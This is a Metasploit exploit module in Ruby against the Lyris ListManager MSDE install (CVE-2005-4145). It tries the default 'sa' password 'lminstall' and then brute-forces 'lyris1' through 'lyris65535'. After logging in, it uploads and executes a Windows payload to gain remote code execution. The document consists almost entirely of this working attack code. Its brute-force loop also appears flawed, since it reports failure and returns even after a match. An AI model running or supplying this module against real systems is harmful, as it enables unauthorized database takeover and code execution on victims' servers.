Lyris ListManager MSDE Weak sa Password

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::MSSQL  
  
def initialize(info = {})  
  
super(update_info(info,  
'Name' => 'Lyris ListManager MSDE Weak sa Password',  
'Description' => %q{  
This module exploits a weak password vulnerability in the  
Lyris ListManager MSDE install. During installation, the 'sa'  
account password is set to 'lminstall'. Once the install  
completes, it is set to 'lyris' followed by the process  
ID of the installer. This module brute forces all possible  
process IDs that would be used by the installer.  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
  
[ 'OSVDB', '21559'],  
[ 'CVE', '2005-4145']  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0   
))  
end  
  
def exploit  
  
# New installations use a randomly generated suffix like "lyris629dAe536F"  
pass = nil  
  
while(true)  
print_status("Trying to authenticate with password 'lminstall'...")   
if(mssql_login('sa', 'lminstall'))  
pass = 'lminstall'  
break  
end  
  
print_status("Trying to authenticate with passwords 'lyris1' to 'lyris65535'...")  
1.upto(65535) do |pid|  
  
if(pid % 1000 == 0)  
print_status(" >> Completed #{pid} of 65535 authentication requests")  
end  
  
if(mssql_login('sa', "lyris#{pid}"))  
pass = "lyris#{pid}"  
break  
end   
end  
print_status("This system does not appear to be exploitable")  
return  
end   
  
print_status("")  
print_status("Sucessfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")  
print_status("")  
  
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded))  
  
handler  
disconnect  
end  
end  
`